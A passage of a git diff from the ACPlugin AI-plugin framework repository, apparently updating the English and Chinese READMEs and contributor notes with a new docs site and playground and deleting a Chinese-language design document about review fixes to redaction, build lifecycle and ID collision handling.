的运行时依赖都不得出现 `@acplugin/*`。 @@ -110,13 +113,14 @@ Migration 位于 `packages/acplugin/src/migration/`,CLI 使用动态 import。 - Core 单元测试:`packages/core/test/` - 跨包集成:`packages/test/test/` - Migration 集成:`packages/test/test/migration.test.ts` -- 根 workspace 与各 Package 统一使用 catalog 中的 `@typescript/native` 执行 TypeScript 7 编译和类型检查;只有依赖旧 Compiler API 的 Lint/注释工具使用根目录 `@typescript/typescript6` 兼容别名。 +- 根 workspace 与各正式 Package 统一使用 catalog 中的 `@typescript/native` 执行 TypeScript 7 编译和类型检查;依赖旧 Compiler API 的 Lint/注释工具及 TypeDoc 使用 `@typescript/typescript6` 兼容别名。 ```bash pnpm run lint pnpm run typecheck pnpm run test pnpm run build +pnpm run docs:check pnpm run release:verify ``` @@ -125,7 +129,7 @@ pnpm run release:verify ## 发行 - 九个公开包由 Changesets 独立版本化;兼容性由 lifecycle `apiVersion` 和主包 peer range 表达,不使用 fixed group。 -- `Check` Workflow 在 PR 上自动执行 lint 和 typecheck。 +- `Check` Workflow 在 PR 上自动执行 lint/typecheck,并通过独立 Job 执行 `docs:check`。 - `Patch` Workflow 只能手工触发;从默认分支选择目标分支,在写版本前确认至少一个有效 Changeset 会升级公开包,再消费 Changesets、生成 changelog、升级各自声明的公开包版本,并创建回到该目标分支的版本 PR。 - 所有版本均由维护者从已验证 tarball 手工发布;仓库不得添加 Tag/npm 自动发布 Workflow。 - 每个变更的公开包都要验证 Registry 精确版本;依赖新的主包 peer range 时先发布主包,再发布对应 Platform/Extension。 diff --git a/README.md b/README.md index da53dcc..72271d9 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@ -# acplugin +# ACPlugin [中文文档](./README.zh-CN.md) -acplugin is a canonical AI plugin framework and CLI. You author Commands, Skills, Agents, optional Hooks, and optional MCP servers once; acplugin builds Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. +ACPlugin is a canonical AI plugin framework and CLI. You author Commands, Skills, Agents, optional Hooks, and optional MCP servers once; ACPlugin builds Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. This is not a Claude-project converter. The canonical project is the source of truth, and each Platform owns its final manifest, paths, compatibility decisions, and deterministic serialization. Legacy Claude projects and plugins are handled separately by `acplugin migrate`. @@ -71,7 +71,7 @@ my-plugin/ IDs and directory names use lowercase kebab-case. Markdown Components require YAML Frontmatter and a non-empty body. Symlinks and paths escaping the project are rejected. -acplugin deliberately has no Instructions Component. Repository-wide instructions are host/project configuration, not an installable plugin capability. +ACPlugin deliberately has no Instructions Component. Repository-wide instructions are host/project configuration, not an installable plugin capability. ## Configuration @@ -246,7 +246,7 @@ FileChanged, WorktreeCreate, WorktreeRemove, Elicitation, ElicitationResult Declare one with `event: { platform: 'claude-code', name: 'Setup' }`; a bare `'Setup'` string is rejected. -acplugin bundles each handler once as platform-neutral Node 20 ESM. Every Platform Adapter contributes a verified static or runtime integration and an adjacent `wire.mjs` for native input validation, recursive camelCase conversion, and output mapping; the shared Handler owns bounded JSON I/O, semantic result validation, safe failures, and deterministic third-party license notices. Meaningful matchers ignored by the selected host are reported per Hook as `degraded`; unsupported events generate no fake runtime. +ACPlugin bundles each handler once as platform-neutral Node 20 ESM. Every Platform Adapter contributes a verified static or runtime integration and an adjacent `wire.mjs` for native input validation, recursive camelCase conversion, and output mapping; the shared Handler owns bounded JSON I/O, semantic result validation, safe failures, and deterministic third-party license notices. Meaningful matchers ignored by the selected host are reported per Hook as `degraded`; unsupported events generate no fake runtime. ## MCP Extension @@ -295,7 +295,7 @@ export default defineMcpServer({ }); ``` -For local MCP, you provide a complete stdio MCP implementation in `server.ts`; acplugin bundles it for Node 20 ESM. Both development and production builds reject unresolved runtime dynamic imports, start the bundle with only declared literal environment values, and require a bounded `initialize → initialized → tools/list` smoke test to pass. No mode branch or cache bypasses this protocol check. Referenced secret values are never read. For HTTP MCP, you declare the remote endpoint and auth/header references—there is no local server implementation to provide. Production HTTP endpoints require HTTPS; development permits loopback HTTP. +For local MCP, you provide a complete stdio MCP implementation in `server.ts`; ACPlugin bundles it for Node 20 ESM. Both development and production builds reject unresolved runtime dynamic imports, start the bundle with only declared literal environment values, and require a bounded `initialize → initialized → tools/list` smoke test to pass. No mode branch or cache bypasses this protocol check. Referenced secret values are never read. For HTTP MCP, you declare the remote endpoint and auth/header references—there is no local server implementation to provide. Production HTTP endpoints require HTTPS; development permits loopback HTTP. Claude Code, Codex, and OpenCode support both remote HTTP and bundled local stdio. Cursor and Antigravity support remote HTTP only; Pi reports MCP unsupported. See the [complete compatibility matrix](./llmdoc/reference/conversion-matrix.md). @@ -355,6 +355,21 @@ Supported sources include local Claude projects, single plugins, marketplaces, a Use `--dry-run` for scan/map/validation without destination writes and `--strict` to fail on any degraded or unmapped item. +## Documentation and playground + +The repository includes two private, repository-only workspaces beside the publishable packages: + +- `packages/docs` is a VitePress site with task-oriented Guide, Config, Platform, Extension, Ecosystem, Playground, and Resource sections. TypeDoc regenerates API pages and the sidebar for all nine public package root entries before every docs dev/build. +- `packages/playground` is a real Claude Code/Codex/Hooks consumer modeled on llmdoc v3. It validates canonical Commands, a Skill with auxiliary references, Agents, no-op Hooks, and Public files. It is a packaging/template smoke, not an llmdoc runtime or conformance suite. + +```bash +pnpm run docs:dev # generate API pages, then start VitePress +pnpm run docs:build # generate API pages and build the static site +pnpm run docs:check # docs structure/build plus the real playground checks +``` + +Generated API Markdown/sidebar, VitePress cache/output, and Playground `dist` are reproducible and ignored by Git. + ## Packages and repository development Public packages: @@ -369,17 +384,18 @@ Public packages: - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -The official integrations use the same public lifecycle SDK available to third-party packages and declare the main package as a peer dependency. Only Core and the Vitest integration workspace remain private; Core is bundled into the main package and no public runtime manifest contains `@acplugin/*`. +The official integrations use the same public lifecycle SDK available to third-party packages and declare the main package as a peer dependency. Core, the Vitest integration workspace, Docs, and Playground remain private; Core is bundled into the main package and no public runtime manifest contains `@acplugin/*`. ```bash pnpm install pnpm run check +pnpm run docs:check pnpm run release:verify ``` `release:verify` creates all nine public tarballs from one revision, inspects their files/manifests and type resolution, verifies peer rewriting and brand interoperability, and installs a six-Platform/two-Extension scaffold into a clean external consumer. It performs no npm publication. -Pull requests automatically run lint and typecheck. The manually dispatched `Patch` workflow accepts a target branch containing at least one effective Changeset that bumps a public package, consumes its Changesets to bump versions and generate changelogs, and opens a version PR back to that branch. +Pull requests automatically run lint/typecheck and an independent Docs/Playground quality gate. The manually dispatched `Patch` workflow accepts a target branch containing at least one effective Changeset that bumps a public package, consumes its Changesets to bump versions and generate changelogs, and opens a version PR back to that branch. Every package is versioned independently and only changed packages are published. If a new integration release requires a newly published main-package peer range, publish and verify that main-package version first; otherwise unrelated integrations have no prescribed order. Each exact Registry version, package-specific tag, and GitHub Release is handled manually. The repository contains no automated publication workflow. diff --git a/README.zh-CN.md b/README.zh-CN.md index 1034764..e396525 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -1,8 +1,8 @@ -# acplugin +# ACPlugin [English](./README.md) -acplugin 是一个统一的 AI Plugin 框架和 CLI。开发者只维护一套 Commands、Skills、Agents,以及可选的 Hooks/MCP 源码,acplugin 将其构建为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 各自拥有的交付产物。 +ACPlugin 是一个统一的 AI Plugin 框架和 CLI。开发者只维护一套 Commands、Skills、Agents,以及可选的 Hooks/MCP 源码,ACPlugin 将其构建为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 各自拥有的交付产物。 它不再以 Claude 工程为默认输入进行“格式转换”。规范化工程才是唯一事实来源,每个 Platform 负责最终 Manifest、路径、兼容性判断和确定性序列化。旧 Claude 工程/Plugin 的导入由隔离的 `acplugin migrate` 负责。 @@ -71,7 +71,7 @@ my-plugin/ ID 和目录名使用小写 kebab-case。Markdown Component 必须包含 YAML Frontmatter 和非空正文。符号链接、逃逸工程根目录的路径会被拒绝。 -acplugin 不提供 Instructions Component。仓库级 Instructions 属于宿主/工程配置,而不是可安装 Plugin 的能力边界。 +ACPlugin 不提供 Instructions Component。仓库级 Instructions 属于宿主/工程配置,而不是可安装 Plugin 的能力边界。 ## 配置 @@ -244,7 +244,7 @@ FileChanged, WorktreeCreate, WorktreeRemove, Elicitation, ElicitationResult 使用 `event: { platform: 'claude-code', name: 'Setup' }` 声明;裸字符串 `'Setup'` 会被拒绝。 -acplugin 把每个实现只 bundle 一次,生成平台中立的 Node 20 ESM Handler;每个 Platform Adapter 贡献经过验证的静态或运行时集成,以及相邻的 `wire.mjs`,负责原生输入校验、递归 camelCase 转换和输出映射。共享 Handler 负责有界 JSON I/O、语义结果校验、安全错误和确定性的第三方许可证产物。宿主忽略的 meaningful matcher 会按具体 Hook 报告 `degraded`;不支持的事件不会生成伪运行时。 +ACPlugin 把每个实现只 bundle 一次,生成平台中立的 Node 20 ESM Handler;每个 Platform Adapter 贡献经过验证的静态或运行时集成,以及相邻的 `wire.mjs`,负责原生输入校验、递归 camelCase 转换和输出映射。共享 Handler 负责有界 JSON I/O、语义结果校验、安全错误和确定性的第三方许可证产物。宿主忽略的 meaningful matcher 会按具体 Hook 报告 `degraded`;不支持的事件不会生成伪运行时。 ## MCP Extension @@ -293,7 +293,7 @@ export default defineMcpServer({ }); ``` -本地 MCP 需要由作者提供完整的 stdio MCP 实现,acplugin 将其 bundle 为 Node 20 ESM。development 与 production 构建都会拒绝无法静态解析的运行时 dynamic import,只把声明的公开字面量环境值传给探测进程,并要求在超时和输出上限内完成 `initialize → initialized → tools/list` 协议 smoke;不会通过 mode 分支或缓存跳过该检查,任何 Secret 引用值也不会被读取。HTTP MCP 只需要声明远程 endpoint、认证和 Header 引用。生产 HTTP 必须使用 HTTPS,开发模式仅允许 loopback HTTP。 +本地 MCP 需要由作者提供完整的 stdio MCP 实现,ACPlugin 将其 bundle 为 Node 20 ESM。development 与 production 构建都会拒绝无法静态解析的运行时 dynamic import,只把声明的公开字面量环境值传给探测进程,并要求在超时和输出上限内完成 `initialize → initialized → tools/list` 协议 smoke;不会通过 mode 分支或缓存跳过该检查,任何 Secret 引用值也不会被读取。HTTP MCP 只需要声明远程 endpoint、认证和 Header 引用。生产 HTTP 必须使用 HTTPS,开发模式仅允许 loopback HTTP。 Claude Code、Codex 和 OpenCode 同时支持远程 HTTP 与 Bundle 后的本地 stdio;Cursor 与 Antigravity 只支持远程 HTTP;Pi 会报告 MCP 不支持。详见[完整兼容矩阵](./llmdoc/reference/conversion-matrix.zh-CN.md)。 @@ -351,6 +351,21 @@ acplugin migrate owner/repository ./new-workspace --all `--dry-run` 不写目标目录;`--strict` 在出现 degraded/unmapped 时失败。 +## 文档工程与 Playground + +除公开包外,仓库还包含两个仅供仓库使用的私有 workspace: + +- `packages/docs` 是 VitePress 文档站,按 Guide、Config、Platform、Extension、Ecosystem、Playground 和 Resources 组织内容。每次启动或构建文档前,TypeDoc 都会为九个公开 package 根入口重新生成 API 页面和 sidebar。 +- `packages/playground` 是一个以 llmdoc v3 为主题、真实构建 Claude Code/Codex/Hooks 的消费工程。它验证规范 Commands、带辅助引用的 Skill、Agents、no-op Hooks 和 Public 文件;定位是 packaging/template smoke,不是 llmdoc runtime 或 conformance suite。 + +```bash +pnpm run docs:dev # 生成 API 页面并启动 VitePress +pnpm run docs:build # 生成 API 页面并构建静态站点 +pnpm run docs:check # 检查文档结构/构建和真实 Playground +``` + +自动生成的 API Markdown/sidebar、VitePress cache/产物和 Playground `dist` 都可重建,并由 Git 忽略。 + ## 包与仓库开发 公开包: @@ -365,17 +380,18 @@ acplugin migrate owner/repository ./new-workspace --all - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -官方集成使用与第三方 package 相同的公开 lifecycle SDK,并把主包声明为 peer dependency。只有 Core 和 Vitest Test workspace 保持私有;Core 会内联进主包,任何公开运行时清单都不得包含 `@acplugin/*`。 +官方集成使用与第三方 package 相同的公开 lifecycle SDK,并把主包声明为 peer dependency。Core、Vitest Test workspace、Docs 和 Playground 保持私有;Core 会内联进主包,任何公开运行时清单都不得包含 `@acplugin/*`。 ```bash pnpm install pnpm run check +pnpm run docs:check pnpm run release:verify ``` `release:verify` 会从同一 Revision 创建九个公开 tarball,检查 Manifest、文件列表、类型解析、peer rewrite 和品牌互操作,并在 monorepo 外的干净消费者中构建六 Platform/两 Extension 脚手架;不会发布 npm。 -PR 会自动执行 lint 和 typecheck。手工触发的 `Patch` Workflow 接收一个至少包含一份会升级公开包的有效 Changeset 的目标分支,消费 Changesets 以升级版本并生成 changelog,随后创建一个合并回该目标分支的版本 PR。 +PR 会自动执行 lint/typecheck,并通过独立的 Docs/Playground 质量门。手工触发的 `Patch` Workflow 接收一个至少包含一份会升级公开包的有效 Changeset 的目标分支,消费 Changesets 以升级版本并生成 changelog,随后创建一个合并回该目标分支的版本 PR。 九个公开 package 独立版本化,只发布发生版本变化的 package。如果新的集成版本要求尚未发布的主包 peer range,先发布并验证该主包版本;除此之外,各集成之间没有固定顺序。每个 Registry 精确版本、package 对应的 Tag 和 GitHub Release 都由维护者手工处理;仓库不包含自动发布 Workflow。 diff --git a/acplugin-1.0-fix-design.md b/acplugin-1.0-fix-design.md deleted file mode 100644 index 140d346..0000000 --- a/acplugin-1.0-fix-design.md +++ /dev/null @@ -1,1552 +0,0 @@ -# acplugin 1.0 —— Review 修复项实施设计(具体修改/设计方案) - -> **历史审计材料:** 本文保留原始实施设计及其被否决的分支,不再是施工权威。P2、P14、P16、P17b 等结论已由 `.llmdoc-tmp/reviews/revised-review-fix-plan.md` 和 hardening spec 替代。 - -> 来源:`review-fix-plan.md`(已确认方案)逐项经 workflow 深读源码后产出的**实施级设计**。 -> 每项含:决策、现状(file:line 锚点)、具体改动(diff 级)、边界与连带、测试、验收、工作量、风险。 -> 生成方式:9 组并行深读(G1–G8,G6 拆为 G6a/G6b),综合 agent 因每日额度 429 未跑,改由主控直接汇编;内容逐字取自各设计 agent 的结构化产出。 -> 日期:2026-08-07 - -## 实施顺序与依赖(务必先读) - -- **P1 必须先于 P6**:P6 的端到端确定性测试是 P1 的回归护栏;二者建议同一分支提交(revert 验证需同分支)。 -- **P16(utils 子包)宜先于 P8/P10 等平台/Core 改动**:让后续改动直接复用共享 helper,避免二次搬迁。P16 内部按 a→b→c→d 顺序(建包→接入构建图→平台改用→Hooks memoize)。 -- **P14(dev 缓存)建议独立分支**:架构级,影响 lifecycle/run-project。 -- 阶段:S1 发布阻断 → S2 正确性/工程化 → S3 架构级 → S4 规范/记录 → S5 低优清理。 -- ⚠️ 标注的“待确认”点集中在文末清单。 - ---- -## S1 — 发布阻断 - -### P1 · 删除 env 值子串脱敏(环境值不再进入报告文本的过滤链) - -**决策:** 彻底删除 env 值子串脱敏:移除 environmentValues() + sanitizeReportText 里的 env split/join、reports.ts 的 protectedValues/environment 过滤整段、lifecycle.ts 的 process.env 默认与 environment 传入脱敏边界;保留 SECRET_KEY_PATTERN 键名脱敏、Bearer/Basic/token=inline 凭据正则、路径剥离。 - -**现状(锚点):** 根因链共 4 处。(1) packages/core/src/diagnostics.ts:49-54 environmentValues():收集 options.environment 里长度>=4 的值,按长度降序;:73-74 在 sanitizeReportText 内 `for (const environmentValue of environmentValues(options.environment)) safe = safe.split(environmentValue).join('')`。这是把任意 env 值当子串从自由文本里剪除——正是会把含 platform id 子串的 env(如 FOO=claude)误伤 platform id/path 的根因。(2) packages/core/src/diagnostics.ts:20-24 ReportRedactionOptions.environment 字段 + :46 JSDoc。(3) packages/core/src/reports.ts:115-134 serializeBuildResult:117-129 protectedValues(schemaVersion/command/platform id/apiVersion 等)Set,:131-132 `const environment = Object.fromEntries(Object.entries(options.environment ?? process.env).filter(([,v]) => v===undefined || !protectedValues.has(v)))`,:133 `stableJson(redactReportValue(result, { ...options, environment }))`。注意此处默认 `process.env`——这是生产路径(cli.ts:62/488 调用 serializeBuildResult(report) 不传 options)真正把机器 env 灌进脱敏集合的地方,违反 §18 确定性(机器 env 依赖)。(4) packages/core/src/lifecycle.ts:220 `const environment = Object.freeze({ ...(request.environment ?? process.env) })`,:224 `reportRedaction = Object.freeze({ roots:[...], environment })`,:226 传入 DiagnosticCollector。environment 变量另在 hook context 复用(:312/334/411/428 buildStart/buildEnd 的 context.environment)——那是给 Platform hook 读的合法能力,不是脱敏,不能删。 - -**具体改动:** - -改 4 个文件,净删除为主。 - -A) diagnostics.ts: -- 删除整个 environmentValues() 函数(:43-54,含 JSDoc)。 -- 删除 sanitizeReportText 内 :73-74 两行 env split/join for 循环。sanitizeReportText 结尾变为:凭据正则 + temp 正则 → roots split → 绝对路径正则 → 空白折叠 → trim。 -- ReportRedactionOptions(:21-24)删掉 `readonly environment?: ...` 字段,只留 `roots?`。JSDoc(:20)改为“报告脱敏时可额外提供的工程边界”。 -- compareStrings(:39-41)保留(propagateDependencies/sort 仍用)。 - -B) reports.ts: -- serializeBuildResult(:115-134)删掉 :117-129 protectedValues 整段 + :130-132 environment 计算整段。函数体缩为:`return stableJson(redactReportValue(result, options));`(options 现在只含 roots)。 -- 顶部 import 无需改(redactReportValue 仍用)。 - -C) lifecycle.ts: -- :220 改为 `const environment = Object.freeze({ ...(request.environment ?? {}) });`(hook context 默认空 env,不再吃 process.env——满足“脱敏环境默认空”且 hook 仍拿到冻结对象)。 -- :224 改为 `const reportRedaction = Object.freeze({ roots: [request.config.root, runtimeRoot] });`(去掉 environment 键)。 -- :226 DiagnosticCollector(reportRedaction) / :301 failureSummary(finalCause, reportRedaction) / :757 createBuildResult(..., reportRedaction) 都不动,签名兼容(options 只是少了一个可选字段)。 -- hook context 的 environment 传参(:312/334/411/428)保持——它们引用的是新的默认空 environment 变量,类型不变。 - -D) diagnostics.test.ts(P1 连带,详见 tests):现有 3 处依赖 ``/env 子串行为的断言必须改,否则删除后测试红。 - -**边界与连带:** 1) 生产确定性:reports.ts 默认 `process.env` 是当前唯一机器 env 泄漏点,删掉即修 §18;cli.ts:62/488 无需改(继续调 serializeBuildResult(report),现在纯净)。 2) 所有 executeLifecycle 调用方(7 个 test 文件)现传 `environment: {}` 给 request.environment——保留 LifecycleRequest.environment 字段(hook 能力),这些调用无需改;只有语义从'空对象参与脱敏'变为'空对象仅供 hook',行为等价。 3) 无任何内置 platform/extension 在 hook 里读 environment(已 grep 确认 packages/platforms/*/src、extensions/*/src 无 `context.environment` 消费),故删除脱敏不影响任何 platform 逻辑。 4) 保留项不能误删:SECRET_KEY_PATTERN 键名脱敏(diagnostics.ts:123)、:66-67 Bearer/Basic/token=inline 正则、:68 temp 正则、:69-71 roots、:77 绝对路径正则全部保留。 5) redactReportValue 三个 options 传播点(:96/110/125)不变。 6) BuildStartContext/BuildEndContext.environment(contracts.ts:192/261)是公开 API,不删。 - -**测试:** 改 packages/core/test/diagnostics.test.ts: -- :99-108 稳定性用例:`{ environment: {} }` 改为 `{}`(或整体删第二参),断言 first===second 不变。 -- :110-146 no-timestamp 用例:删 environment 参数 `{ environment: { REPORT_TOKEN: 'report-secret' } }`→改成不传;`report-secret` 现由 owner 上的 `Bearer report-secret` 经凭据正则命中(:66)仍被剪成 ``,故 `expect(json).not.toContain('report-secret')` 仍成立(不是靠 env 子串)。保留 not.toContain('/Users/example')/toContain('')。 -- :148-180 'redacts custom environment secrets' 用例:此用例只测 env 子串脱敏,P1 删后该能力不存在——删除整个 it 块(:148-180)。 -- :189-212 'removes secret fields...' 用例:message `'value env-secret at /private/root/.acplugin-work-123/cache'` 与 `environment:{FIXTURE_SECRET:'env-secret'}`。删 environment 参数;`env-secret` 不再被脱敏,断言 `expect(json).not.toContain('env-secret')`(:207)删除;把描述里 'environment values' 去掉,改断言仍验证 credential/bytes/circular/roots(`/private/root`→`` 经 roots split 仍成立)。 -断言重点:P1 后 apiToken 字段仍 ``(键名脱敏);Bearer/token= 内联仍脱敏;绝对路径仍 ``;纯 env 值不再脱敏。 - -**验收:** 1) `pnpm --filter @acplugin/core test` 全绿;grep ``/`environmentValues`/`options.environment` 在 core/src 下 0 命中。 2) serializeBuildResult 不再引用 process.env(grep `process.env` 在 reports.ts 0 命中)。 3) lifecycle.ts reportRedaction 无 environment 键。 4) `pnpm -r typecheck` 通过(ReportRedactionOptions 字段删除后无类型引用残留)。 5) 全仓 `pnpm -r test` 绿(尤其 7 个 executeLifecycle 调用方与 platforms 测试不回归)。 - -**工作量:** S | **独立分支:** 否 | **风险:** low。唯一活 caller 依赖是 diagnostics.test.ts 3 处断言(已在 tests 列明同步改)。ReportRedactionOptions.environment 删字段可能有仓外/文档引用——grep 已确认 src 内仅 diagnostics/reports/lifecycle 三处,test 内仅 diagnostics.test.ts;llmdoc 若描述该行为需另行更新(非本组代码范围)。 - - ---- - -### P2 · buildEnd 移出 commit 事务的 afterSwap,清理失败只记诊断且不下调 committed/success - -**决策:** commit 分支删除 afterSwap 回调,让事务完整提交(含删 backup);buildEnd 统一由外层 finally 的 finalize() 执行;在 buildEnd 之前用 buildFailed 快照锁定构建成败,使 buildEnd 抛错/发 error 诊断只进报告,不回滚已提交输出、不下调 committed/success。 - -**现状(锚点):** packages/core/src/lifecycle.ts。commit 分支 :704-714 把 finalize() 塞进 commitDeliveryUnits 的 afterSwap:`async afterSwap() { originalError = await finalize(originalError); if (originalError !== undefined || diagnostics.hasErrors) throw ...; }`,`committed = true`(:714)在其后。afterSwap 在 transaction.ts:389 被调用,位于 output-swapped 之后、删除 backup(:407-413)之前的可回滚窗口——因此 buildEnd 抛错会走 transaction.ts:395-406 的回滚,删除刚交换成功的新输出并 restore backup,commit 抛出,`committed` 永远拿不到 true。non-commit 分支 :715-718 则在 try 内直接 `await finalize(originalError)`。外层 finally :724-729 已经会再跑一次 `finalize`(靠 :263 的 `finalized` 幂等标志)。success 计算在 :742-743:`!diagnostics.hasErrors && originalError === undefined && platforms.every(...primary...)`——finalize 内 buildEnd 失败会 `diagnostics.error(PLATFORM/EXTENSION_BUILD_END_FAILED)`(:320-322,:342-344)并把错误经 finalize 返回值写回 originalError,从而把 success 拉成 false。committed 声明 :261,finalized 注释 :262。 - -**具体改动:** - -lifecycle.ts 四处编辑,transaction.ts 不动: - -(1) 声明区 :261-263 新增快照变量: -``` - let committed = false; -+ /** buildEnd 之前锁定的构建成败快照,避免清理失败下调 success。 */ -+ let buildFailed = false; - /** 防止 finalize 重复执行 buildEnd。 */ // 顺手把原“afterSwap 与 finally 重复清理”注释改掉 - let finalized = false; -``` - -(2) commit 分支 :704-718 删掉 afterSwap,并删掉 non-commit 的内联 finalize: -``` - if (commit) { -- await commitDeliveryUnits(request.config.outDir, finalUnits, { -- projectRoot: request.config.root, -- async afterSwap() { -- originalError = await finalize(originalError); -- if (originalError !== undefined || diagnostics.hasErrors) -- throw originalError ?? new Error('Lifecycle cleanup failed.'); -- }, -- }); -+ // 事务完全提交(含删 backup)后才标记 committed;buildEnd 交由外层 finally 统一执行, -+ // 清理失败只记诊断,不回滚已成功交换的输出,也不下调 committed/success。 -+ await commitDeliveryUnits(request.config.outDir, finalUnits, { projectRoot: request.config.root }); - committed = true; - } else { - await validateDeliveryUnitMaterialization(finalUnits); -- originalError = await finalize(originalError); - } -``` - -(3) 外层 finally :724-729 在 finalize 前拍快照: -``` - } finally { - if (originalError === undefined && diagnostics.hasErrors) - originalError = new Error('Lifecycle failed; see diagnostics.'); -+ // 在 buildEnd 之前锁定构建成败,使 buildEnd(清理)失败只体现为诊断,不下调 success。 -+ buildFailed = originalError !== undefined || diagnostics.hasErrors; - originalError = await finalize(originalError); - await fs.rm(runtimeRoot, { recursive: true, force: true }); - } -``` - -(4) success :742-743 改用快照: -``` -- success: !diagnostics.hasErrors && originalError === undefined -- && platforms.every(runtime => finalUnits.some(unit => unit.platform === runtime.resolved.platform.id && unit.role === 'primary')), -+ success: !buildFailed -+ && platforms.every(runtime => finalUnits.some(unit => unit.platform === runtime.resolved.platform.id && unit.role === 'primary')), -``` -finalize 现在只在 finally 被调用一次(afterSwap 与 non-commit 内联调用都删了),`finalized` 幂等标志变为纯防御性,保留即可。 - -**边界与连带:** 1) 原 afterSwap“提交后仍在可回滚窗口清理”的意图是【故意丢弃】的——buildEnd 是清理钩子,拍板决定其失败不得回滚已提交构建;afterSwap 里除 finalize 外没有别的需要回滚窗口的工作,故整段回调删除,不需要另找地方保留。2) “含删 backup”由事务自身保证:transaction.ts:407-413 在 afterSwap 之后无条件删 backup,afterSwap 为空/不传时提交照样完整收尾,所以把 finalize 挪到外层 finally 后,commit 一定是完整终态才跑 buildEnd。3) committed 在 :714 于 commit 成功返回后赋值,buildEnd(finally)在其后运行,天然不下调 committed。4) buildFailed 在 finalize 前快照,只捕获 buildEnd 之前的 diagnostics.hasErrors/originalError:真正的构建/生成/提交失败(如锁冲突、commit 抛错走 catch :720)仍把 buildFailed 置真、success=false、committed=false,语义不变;仅 buildEnd 阶段的诊断被排除。5) finalUnits(:732 snapshot)不受 buildEnd 影响(BuildEndContext 只有 reportDiagnostic,不能改 units),success 的 every(primary) 判据稳定。6) originalError 经 finalize 返回值重赋后已无下游读取(success 改读 buildFailed),保留该赋值只为语义连续、零风险;确定性无影响(不引入 time/path/随机)。7) transaction.ts 的 afterSwap 选项(:31,:389)变为无调用方:【建议保留不动】,它是通用原子提交工具的合法扩展点,其回滚语义已被 transaction.test.ts 用 onPhase('output-swapped') 注入覆盖,删它属于动数据安全区的无谓 churn。 - -**测试:** packages/core/test/lifecycle.test.ts: -- 【保留】既有 :353 'continues later Platforms...'(validate 路径 + buildEnd 抛错 + 生成失败)——新代码下 buildFailed=true(生成阶段已有 PLATFORM_GENERATION_FAILED),success 仍 false,断言不变,已验证不回归。 -- 【新增】build(提交)路径 + buildEnd 抛错用例,骨架: -``` -it('commits and records a buildEnd failure as a diagnostic without downgrading success/committed', async () => { - const events: string[] = []; - const platform = definePlatform({ - id: 'commit-platform', apiVersion: '1', deliveryType: 'plugin', - prepare: () => ({ documents: [], artifacts: [] }), - generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [bytesArtifact('manifest.json', 'ok')] }), - validateBundle: () => undefined, - buildEnd(context) { events.push(`commit-platform:end:${context.status}`); throw new Error('buildEnd failure after commit'); }, - }); - const root = await temporaryRoot(); - await fs.mkdir(path.join(root, 'src')); - const result = await executeLifecycle({ config: lifecycleConfig(root, 'build', [platform], []), loadTypeScriptModule: async () => undefined, environment: {} }); - expect(result.success).toBe(true); // 不被 buildEnd 错误下调 - expect(result.committed).toBe(true); // 不被下调 - expect(events).toEqual(['commit-platform:end:success']); // buildEnd 看到的 status 是构建期成功 - expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'PLATFORM_BUILD_END_FAILED', platform: 'commit-platform' })); - // 关键:输出真的落盘且未被回滚(旧代码 afterSwap 抛错会删掉 dist/commit-platform) - expect(await fs.readFile(path.join(root, 'dist', 'commit-platform', 'plugin', 'manifest.json'), 'utf8')).toBe('ok'); -}); -``` -(outDir 默认 `/dist`,两级布局 `/`,见 config.ts:431 与 transaction deliveryUnitRoots;bytesArtifact 已在文件顶部导入。) - -**验收:** pnpm -C packages/core test 通过。新用例:success=true、committed=true、diagnostics 含 *_BUILD_END_FAILED、`/dist/commit-platform/plugin/manifest.json` 内容为 'ok'(证明未回滚)。既有 lifecycle/transaction/ecosystem-contract 全绿。tsc/eslint 无新增告警(buildFailed 已被 success 读取,无未用变量)。确定性:未引入 time/绝对路径/随机/env。 - -**工作量:** M | **独立分支:** 否 | **风险:** success 语义发生【有意】变化:构建完整成功但 buildEnd 抛错时 success 现在为 true(诊断里仍带一条 error 级 *_BUILD_END_FAILED)。这符合拍板方案,但下游若有“success===true 即无任何 error 诊断”的隐含假设需知悉;已核查 cli.ts(:66/158/415)与 reports.ts 只透传 success 字段,无此耦合。 - - ---- - -### P3 · 规范 ID 冲突检测 + 确定性消歧(per-kind 集合 + --all workspace 目录集合) - -**决策:** 在每个规范工程内维护 per-kind 已用规范 ID 集合(skill/command/agent/mcp 各一),以及 --all 的 per-stage workspace 目录集合;safeId 生成的 ID 若已被占用,按确定性顺序追加 -2/-3… 消歧;落败/改名资源在报告中标 degraded 并给稳定原因,不再谎报 migrated;同时把非确定性的扫描顺序收敛为稳定排序,使消歧结果字节稳定。requires 引用重写为显式非目标(迁移产物根本不发出 requires,只有 claude-code 平台透传字符串,指向 legacy 名,无法可靠解析)。 - -**现状(锚点):** safeId(packages/acplugin/src/migration/index.ts:221-225)把任意 legacy 名收敛成 kebab id,不同 legacy 名可折叠成同一 id(如 'My Skill' 与 'my-skill' 都 -> 'my-skill')。各迁移函数各自算 id 后直接写 src//: migrateSkill id=:318 destination='src/skills/${id}/SKILL.md':403 push item :415 write :417; migrateCommand id=:478 destination='src/commands/${id}.md':559 push :561; migrateAgent id=:631 destination='src/agents/${id}.md':706 push :708; mcp id=safeId(server.name):1375 destination='src/mcp/${id}/mcp.ts':1382 push :1396(安全)/ :1400+:1415(未映射)。所有写入经 Promise.all(writes)(:1358)与后续 await,同 id 直接覆盖文件,且两条 report item 都算 migrated(outcome 由字段最差值决定,migrationItem:184-202)。--all workspace(:1591-1612): id=safeId(plugin.meta.name):1595 -> projectRoot=path.join(stage,id):1597 -> 两 plugin 同 id 时第二个覆盖第一个整棵工程,projects.push(id):1610 产生重复 workspace 成员。确定性隐患: listDirs/listFiles(packages/acplugin/src/migration/legacy/utils/fs.ts:55-77)直接返回 readdirSync 顺序、未排序,scan.skills/commands/agents 顺序随文件系统变化,消歧若按此顺序决定谁保留 base id 则违反 §18。migrate 内收集 scan 的调用: writeCanonicalProject 内 for 